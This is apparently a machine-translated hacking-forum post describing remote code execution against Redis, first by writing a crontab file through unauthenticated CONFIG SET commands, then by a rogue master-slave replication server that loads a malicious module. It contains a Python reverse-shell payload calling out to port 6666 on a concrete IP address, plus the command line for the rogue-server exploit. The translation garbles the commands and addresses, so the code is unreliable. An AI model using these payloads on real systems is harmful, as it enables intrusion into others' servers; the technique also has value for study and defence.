KoreanHackerTeam
Moderator
Redis 基于主从复制的 RCE 利用方式
WCTF2019 결승전에서 2019 년 7 월 7 일에 종료 된 LC/BC 회원 인 Pavel Toporkov는 공유 세션에서 REDIS에 대한 새로운 버전의 RCE 사용법을 도입했습니다. 이 사용법은 이전 사용 방법보다 더 일반적이며 더 유해합니다. 이전 사용법에서 시작하여 Redis 사용법 문제에 대해 이야기하겠습니다.로드 중...
2018.zeronights.ru
通过写入文件 GetShell
무단 Redis는 다음과 같이 사용됩니다.1
2
3
4
5
6
7
8
127.0.0.133606379 구성 설정 DIR/var/spool/cron/crontabs
좋아요
127.0.0.133606379 구성 설정 DBFILENAME 루트
좋아요
127.0.0.133606379 GET 1
'\ n * * * * */usr/bin/python -c'가져 오기 소켓, 하위 프로세스, OS, SYS; s=socket.socket (socket.af_inet, socket.sock_stream); s.connect ((\ 'ip \', 6666)); os.d up2 (s.fileno (), 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p=subprocess.call ([\ '/bin/sh \', \ '-i \']; '\ n';
127.0.0.133606379 저장
좋아요
이 방법은 getshell에 파일을 작성하여 수행됩니다. 이 방법의 주요 문제는 Redis가 저장 한 데이터가 단순한 JSON 또는 CSV가 아니므로 작성된 파일에 많은 양의 쓸모없는 데이터가 있다는 것입니다.
1
2
3
[심]
* * * * */usr/bin/python -c '가져 오기 소켓, 하위 프로세스, OS, SYS; S=Socket.Socket (Socket.af_inet, Socket.sock_stream); S.Connect ((\ '115.28.78.16 \', 6666) ); os.dup2 (s.fileno (), 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p=subprocess.call ([\ '/bin/sh \', \ '-i \']);
[심]
이러한 종류의 파일은 주로 Crontab, SSH 키, WebShell 및 기타 파일에 특정 결함 공차가 있습니다. 또한 Crontab 및 SSH 서비스는 서버의 표준 서비스라고 할 수 있습니다. 따라서 과거에는 파일을 작성 하여이 getshell 방법을 기본적으로 죽이기가 매우 쉽다고 할 수 있습니다.
그러나 현대적인 서비스 배포 방법의 지속적인 개발로 구성 요소화는 피할 수없는 추세가되었습니다. Docker는이 트렌드의 제품 중 하나입니다. 이 배포 모델에는 SSH 및 Crontab을 포함한 단일 컨테이너에 Redis 이외의 서비스가 없습니다. 또한 권한을 엄격하게 제어하면 파일 만 작성하여 징수하기가 어렵습니다. 이 경우 다른 착취 수단이 필요합니다.
通过主从复制 GetShell
Redis 主从复制
REDIS는 ANSI C로 작성된 오픈 소스, 네트워크 기반 메모리 기반, 메모리 기반, 선택적 지속성 기반 키 값 기반 키 값 스토리지 데이터베이스입니다. 그러나 데이터가 단일 Redis 인스턴스에 저장되는 경우 읽기 및 쓰기 볼륨이 비교적 큰 경우 서버는 부담하기가 어렵습니다. 이 상황에 대처하기 위해 Redis는 마스터 슬레이브 모드를 제공합니다. 마스터 슬레이브 모드는 호스트 및 기타 인스턴스가 백업 머신으로 사용되므로 Redis 인스턴스를 사용하는 것을 의미합니다. 호스트와 슬레이브의 데이터는 동일하지만 노예는 독서에만 책임이 있고 호스트는 글쓰기에만 책임이 있습니다. 읽기 및 쓰기 분리를 통해 트래픽의 압력을 크게 줄일 수 있으며, 이는 공간을 희생하여 효율성을 완화하는 방법으로 간주됩니다.두 개의 도커를 사용하여 테스트를 수행하십시오.
1
Docker Search redis5

1
Docker Pull Damonevking/Redis5.0
1
도커 PS

마스터 슬레이브 상태는 노예를 통해 설정할 수 있습니다
슬레이브에 먼저 설정 :

그런 다음 마스터에 설정하십시오.

슬레이브에서는 데이터가 동기화되었음을 알 수 있습니다.

Redis 模块
마스터 슬레이브 동기화를 이해 한 후에는 Redis 모듈에 대해서도 이해해야합니다.Reids 4.X 이후 Redis는 모듈 기능을 추가했습니다. 외부 확장을 통해 새로운 redis 명령을 Redis로 구현할 수 있으며. 따라서 C 언어로 작성하여 파일을 컴파일 할 수 있습니다.
악의적 인 파일을 작성하는 코드
로드 중...
github.com
利用原理
두 개의 redis 인스턴스가 마스터 슬레이브 모드를 설정하면 redis 호스트 인스턴스는 fullResync를 통해 파일에 파일을 동기화 할 수 있습니다. 그런 다음 슬레이브 머신에 SO 파일을로드하면 새 명령을 실행하여 확장 할 수 있습니다.漏洞复现
시뮬레이션 된 악성 서버를 호스트로 사용하고 FullResync 요청을 시뮬레이션합니다.로드 중...
github.com
그런 다음 Redis 5.0에 Docker를 활성화하십시오
그런 다음 POC를 통해 서버를 직접 공격하십시오
1
Python3 Redis-Rogue-Server.py-RHOST 172.18.0.2--RPORT 6379-LHOST 172.18.0.1

(참고 : Docker 환경에서 쉘을 리바운드 할 때 문제가 있으므로이 기사의 Lhost는 Docker 호스트의 인트라넷 IP를 사용합니다. 저자는 외부 네트워크 IP를 사용할 때 오류가 나타납니다).
